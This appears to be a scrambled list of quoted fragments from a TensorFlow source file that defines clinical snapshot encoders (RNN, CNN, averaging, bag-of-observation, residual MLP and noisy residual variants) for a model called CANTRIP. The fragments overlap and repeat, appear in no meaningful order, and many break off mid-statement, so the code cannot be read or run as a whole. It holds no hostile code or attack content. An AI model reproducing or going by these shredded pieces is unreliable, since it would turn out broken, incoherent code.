"training=model.training) # Reshape to (batch * seq_len) x snapshot_size x embedding flattened_embedded_obs =",
"dense observation layers obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden,",
"for i in range(num_layers): slice_ = min(i + 1, depth) x = vhn_layer(x,",
"using the respective hidden units :param activation: type of activation function to use",
"encoding ops to the graph returning the final clinical snapshot encoding as [batch",
"dtype=tf.float32) # More fun dense layers for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden,",
"training=model.training) # Reshape to (batch * seq_len) x doc_len x embedding flattened_embedded_obs =",
"of windows, kernels, and dropout :param windows: number of consecutive observations to consider;",
"mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch",
"in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the model output",
"tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings,",
"respective hidden units :param avg_hidden_units: number of hidden units in dense layers between",
"as [batch x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as tf import layers",
"\"\"\" # 1. Evaluate which entries in model.observations are non-zero mask = tf.not_equal(model.observations,",
"if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs =",
"clinical observations included in a snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel",
"def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None if activation == 'gelu':",
"hidden units :param avg_hidden_units: number of hidden units in dense layers between average",
"will be creating using each number of hidden units :param cell_fn: rnn_cell constructor",
"x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i in range(num_layers): slice_ =",
"the V-length binary vector encoding all clinical observations included in a snapshot :param",
":-1] # Concat batch, sequence, and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1)",
"activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def vhn_layer(inputs,",
"[model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans') return x return _rmlp_encoder",
"x 1 so we can divide by this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size *",
"windows = [3, 4, 5] def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with",
"activation=None)(flat_bags) # Convert to Dense to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) #",
"everything will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units,",
"x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x,",
"NaN bias sum\") if self.activation is not None: outputs = self.activation(outputs) outputs =",
"tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number of observations",
"= tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x seq_len x encoding_size] return tf.reshape(output,",
"Reshape to (batch * seq_len) x doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size",
"Evaluate which entries in model.observations are non-zero mask = tf.not_equal(model.observations, 0) where =",
"in the given snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical",
"model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len * doc_len) x embedding flattened_embedded_observations",
"that the v-th index is 1 iff the v-th observation occurs in the",
"layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len * doc_len)",
"as a sparse tensor because they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return",
"same as model.observations, but using the entire vocabulary as the final dimension dense_shape",
"tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): # Convert",
"modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" # 1. Evaluate which entries in model.observations",
"vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size])",
"clinical observations. :param obs_hidden_units: number of hidden units in dense layers between observation",
"max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as tf import layers import rnn_cell def",
"units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs +",
"super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def",
"activation_fn = None if activation == 'gelu': activation_fn = layers.gelu elif activation ==",
"Add dense observation layers obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer =",
"# 1. Evaluate which entries in model.observations are non-zero mask = tf.not_equal(model.observations, 0)",
"x = residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense",
"axis=-1) # Embed concat output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) #",
"tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape",
"raise KeyError('Unsupported activation function: %s' % activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\"",
"1 iff the v-th observation occurs in the given snapshot :param model: CANTRIP",
"= None if activation == 'gelu': activation_fn = layers.gelu elif activation == 'relu':",
"fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size x max_seq_len x",
"function which takes as input the CANTRIPModel and adds clinical snapshot encoding ops",
"obs IDs to batch x seq_len x vocab_size bag-of-observation vectors bags = get_bag_vectors(model)",
"clinical snapshot encoding \"\"\" activation_fn = None if activation == 'gelu': activation_fn =",
"x seq_len x vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size",
"Model. CANTRIPModel expects a clinical snapshot encoder function which takes as input the",
"size; requires reshaping to # (batch x seq_len) x 1 so we can",
"sparse tensor because they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def",
"**kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs)",
"an embedded of the V-length binary vector encoding all clinical observations included in",
"to [batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def",
"activation function to use between layers :return: clinical snapshot encoding \"\"\" activation_fn =",
"KeyError('Unsupported activation function: %s' % activation) def _dan_encoder(model): \"\"\" :param model: :type model:",
"= tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans') return x",
"pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) #",
"same snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide",
"kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer,",
"to fit in GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to",
"the CANTRIPModel and adds clinical snapshot encoding ops to the graph returning the",
"x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes =",
"= activation_fn(x) return x + inputs def _rmlp_encoder(model): # Convert batch x seq_len",
"# Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len,",
"Convert batch x seq_len x doc_len tensor of obs IDs to batch x",
"multiple dense layers will be added using the respective hidden units :param activation:",
"consecutive observations to consider; defaults to [3, 4, 5] :param kernels: number of",
"observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch *",
"= tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and sequence",
"_rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None if activation ==",
"# Reshape final output by grouping observations in the same snapshot together obs_layer",
"1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size,",
"\"\"\" Creates a CNN encoder with the given number of windows, kernels, and",
"Get batch and sequence indices for non-zero observations tensor_indices = where[:, :-1] #",
"* model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun # if model.dropout > 0:",
"average embeddings and snapshot encoding; if iterable multiple dense layers will be added",
"to [batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder",
"model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training)",
"x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x + inputs def _rmlp_encoder(model): #",
"[model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and pooling layers outputs",
"\"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs",
"\"\"\" Clinical snapshot encoders for use with CANTRIP Model. CANTRIPModel expects a clinical",
"final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as a sparse",
"tensor of obs IDs to batch x seq_len x vocab_size bag-of-observation vectors with",
"snapshot together obs_layer = tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by",
"with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros',",
"tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled",
"otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape will be the",
"of the V-length binary vector encoding all clinical observations included in a snapshot",
"seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags,",
":param kernels: number of convolutional kernels; defaults to 1,000 :param dropout: dropout probability;",
"# Embed concat output with leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape",
"[model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add dense observation layers obs_layer",
"activation function: %s' % activation) def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32)",
"tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1,",
"input the CANTRIPModel and adds clinical snapshot encoding ops to the graph returning",
"vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) #",
"Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so",
"\"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout,",
"Divide by active number of observations rather than the padded snapshot size; requires",
"bags = get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training)",
"the padded snapshot size; requires reshaping to # (batch x seq_len) x 1",
"leaky ReLU embeddings = tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size x max_seq_len",
"mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1])",
"cnn_encoder function \"\"\" if windows is None: windows = [3, 4, 5] def",
"non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:], axis=-1) vocab_indices = tf.cast(vocab_indices,",
":return: rnn_encoder function \"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'):",
"\"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training)",
"model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU",
"snapshots as a modified element-wise averages of embedded clinical observations. :param obs_hidden_units: number",
"number of hidden units in dense layers between average embeddings and snapshot encoding;",
"maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size",
"= tf.nn.relu elif activation == 'tanh': activation_fn = tf.nn.tanh elif activation == 'sigmoid':",
"None: outputs = self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs =",
"i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans') x",
"x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as tf import layers import rnn_cell",
"def bag_encoder(model): \"\"\" Represents snapshots as a bag of clinical observations. Specifically, returns",
"tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x)",
"= tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer)",
"= tf.nn.tanh elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation",
"else: raise KeyError('Unsupported activation function: %s' % activation) def vhn_layer(inputs, units, residuals): noise",
"% i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return",
"documents as an embedded bag of clinical observations. Specifically, returns an embedded of",
"big to fit in GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations",
"a CNN encoder with the given number of windows, kernels, and dropout :param",
"= tf.where(mask) # 2. Get the vocabulary indices for non-zero observations vocab_indices =",
"0], dtype=tf.float32) # The dense shape will be the same as model.observations, but",
"embedding_size] \"\"\" import tensorflow.compat.v1 as tf import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell):",
"Apply RNN to all documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs,",
"activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def _dan_encoder(model):",
"Convert to Dense to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags =",
"vocab_indices = tf.cast(vocab_indices, dtype=tf.int64) # 3. Get batch and sequence indices for non-zero",
"observations. Specifically, returns an embedded of the V-length binary vector encoding all clinical",
"avg_hidden_units: number of hidden units in dense layers between average embeddings and snapshot",
"in dense layers between average embeddings and snapshot encoding; if iterable multiple dense",
"# Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') # More dropout",
"1. Evaluate which entries in model.observations are non-zero mask = tf.not_equal(model.observations, 0) where",
"outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified element-wise averages of",
"* model.max_snapshot_size, model.embedding_size] ) # Add dense observation layers obs_layer = flattened_embedded_observations for",
"dense layers between average embeddings and snapshot encoding; if iterable multiple dense layers",
"modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) #",
"if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias",
"encoding; if iterable multiple dense layers will be added using the respective hidden",
"[model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = [] for i",
"tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if self.activation is",
"return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\"",
"tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as an embedded",
"flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals =",
"# if model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse",
"is None: windows = [3, 4, 5] def _cnn_encoder(model): \"\"\" :type model: BERTModel",
"activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer,",
"# Convert batch x seq_len x doc_len tensor of obs IDs to batch",
"st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as",
"\"\"\" def _rnn_encoder(model): \"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical",
"outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'):",
"if model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to",
"tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) #",
"CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): #",
"convolutional kernels; defaults to 1,000 :param dropout: dropout probability; defaults to 0.0 (no",
"nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn =",
"slice_ = min(i + 1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x",
"activation == 'relu': activation_fn = tf.nn.relu elif activation == 'tanh': activation_fn = tf.nn.tanh",
"snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\"",
"[model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for fun # if model.dropout >",
"encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots",
"obs_hidden_units: number of hidden units in dense layers between observation embeddings and average;",
"%s' % activation) def _dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel :return: \"\"\"",
"tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x, [model.batch_size, model.max_seq_len,",
"the respective hidden units :param avg_hidden_units: number of hidden units in dense layers",
"an embedded bag of clinical observations. Specifically, returns an embedded of the V-length",
":param windows: number of consecutive observations to consider; defaults to [3, 4, 5]",
"things are about to weird (i.e., too big to fit in GPU memory)",
"# (batch x seq_len) x 1 so we can divide by this flattened_snapshot_sizes",
"x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model):",
"encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU cause things are about to",
"occurs in the given snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return:",
"every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs') # Dropout for",
"= model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as a sparse tensor because they're",
"x = activation_fn(x) return x + inputs def _rmlp_encoder(model): # Convert batch x",
":return: clinical snapshot encoding \"\"\" # 1. Evaluate which entries in model.observations are",
"= tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) #",
"kernels; defaults to 1,000 :param dropout: dropout probability; defaults to 0.0 (no dropout)",
"max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\"",
"clinical snapshot encoder function which takes as input the CANTRIPModel and adds clinical",
"as tf import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN",
"* model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all documents in all batches flattened_snapshot_encodings",
"model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to debug NaNs",
"clinical observations. Specifically, returns a V-length binary vector such that the v-th index",
"for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size x max_seq_len",
"Creates a CNN encoder with the given number of windows, kernels, and dropout",
"consider; defaults to [3, 4, 5] :param kernels: number of convolutional kernels; defaults",
"= [3, 4, 5] def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'):",
"noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return",
"projection weights for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size], name='flat_emb_obs')",
"obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output by grouping observations in the",
"added using the respective hidden units :param avg_hidden_units: number of hidden units in",
"tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias: outputs =",
"self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if",
"self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs) def call(self,",
"_dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn",
"= tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\")",
"\"\"\"Represents snapshots as a modified element-wise averages of embedded clinical observations. :param obs_hidden_units:",
":param model: :type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size,",
"return_interpretable_weights=False) # Reshape back to (batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size,",
"function: %s' % activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i): x",
"= tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out,",
"units :param activation: type of activation function to use between layers :return: clinical",
"return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as an embedded bag of clinical",
"with tf.variable_scope('dense_encoder'): # Use the CPU cause things are about to weird (i.e.,",
"flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all documents",
"activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation,",
":param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with",
"encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as",
"= tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x = residual_unit(x, i, num_hidden) x",
"model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('bow_encoder'): # Use the CPU",
"= tf.not_equal(model.observations, 0) where = tf.where(mask) # 2. Get the vocabulary indices for",
"model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number of observations rather than the",
"windows is None: windows = [3, 4, 5] def _cnn_encoder(model): \"\"\" :type model:",
"flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and",
"import tensorflow.compat.v1 as tf import layers import rnn_cell def rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates",
"model.embedding_size] ) # Add dense observation layers obs_layer = flattened_embedded_observations for num_hidden in",
":param obs_hidden_units: number of hidden units in dense layers between observation embeddings and",
"= tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer = tf.keras.layers.MaxPooling1D(pool_size=1, strides=model.max_snapshot_size - n",
"use; num_hidden is iterable, a multi-layer rnn cell will be creating using each",
"hidden units :param cell_fn: rnn_cell constructor to use :return: rnn_encoder function \"\"\" def",
"back to [batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings')",
"CANTRIP Model. CANTRIPModel expects a clinical snapshot encoder function which takes as input",
"output = tf.concat(outputs, axis=-1) # Embed concat output with leaky ReLU embeddings =",
"clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch",
"will be the same as model.observations, but using the entire vocabulary as the",
"and vocabulary indices indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor will",
":return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU cause things",
"tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings')",
"GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation vector transformations to the model bags",
"= tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all documents in",
"doc_len x embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes",
"takes as input the CANTRIPModel and adds clinical snapshot encoding ops to the",
